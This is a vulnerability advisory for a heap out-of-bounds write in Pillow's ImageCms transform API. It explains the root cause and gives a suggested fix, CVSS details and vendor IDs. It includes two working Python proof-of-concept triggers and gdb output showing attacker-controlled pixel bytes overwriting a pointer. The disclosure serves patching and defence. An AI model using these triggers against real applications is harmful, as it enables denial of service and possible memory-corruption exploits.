CVE-2026-59205
ADVISORY - githubSummary
Summary
Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.
For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.
Details
src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:
def apply(self, im, imOut=None):
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
If imOut is provided, Pillow does not check:
im.mode == self.input_mode
imOut.mode == self.output_mode
The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
return -1;
}
for (i = 0; i < im->ysize; i++) {
cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
}
pyCMScopyAux(hTransform, imOut, im);
return 0;
}
findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
return TYPE_RGBA_8;
So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 * width bytes for that row.
For width 4096:
destination row allocation: 4096 bytes
LittleCMS write size: 16384 bytes
overflow: ~12288 bytes past the row
The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.
PoC
Tiny heap corruption trigger:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")
Observed locally on Pillow 12.3.0.dev0:
before
after
free(): invalid next size (normal)
Aborted (core dumped)
Controlled overwrite evidence PoC:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)
Run under gdb:
gdb -q --batch -ex run -ex bt --args \
python3 b022_controlled.py
Observed on Pillow 12.3.0.dev0:
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152
0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.
Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.
Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.
Suggested fix
Validate modes before calling into the native transform:
def apply(self, im, imOut=None):
if im.mode != self.input_mode:
raise ValueError("input mode mismatch")
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
elif imOut.mode != self.output_mode:
raise ValueError("output mode mismatch")
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
The C extension should also defensively reject mismatched image modes before
calling cmsDoTransform().
GitHub
3.9
CVSS SCORE
7.5high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| pillow | pypi | - | - | <12.3.0 | 12.3.0 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is no loss of trust or accuracy within the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
Debian
-
Ubuntu
-
CVSS SCORE
N/AmediumBitnami
BIT-pillow-2026-59205
3.9
CVSS SCORE
7.5highChainguard
CGA-3764-q237-9fc3
-
minimos
MINI-2x3j-5qpj-r6rq
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minimos
MINI-4x76-pxqc-jh76
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minimos
MINI-63x2-g86r-jpgj
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minimos
MINI-75w5-m3qp-wv3r
-
minimos
MINI-967p-wjvq-3fjw
-
minimos
MINI-pmg9-v6pv-h82p
-
minimos
MINI-xm6h-vv65-pv7r
-
minimos
MINI-xppc-6f85-7rfp
-
minimos
MINI-xwgv-fv9w-45q9
-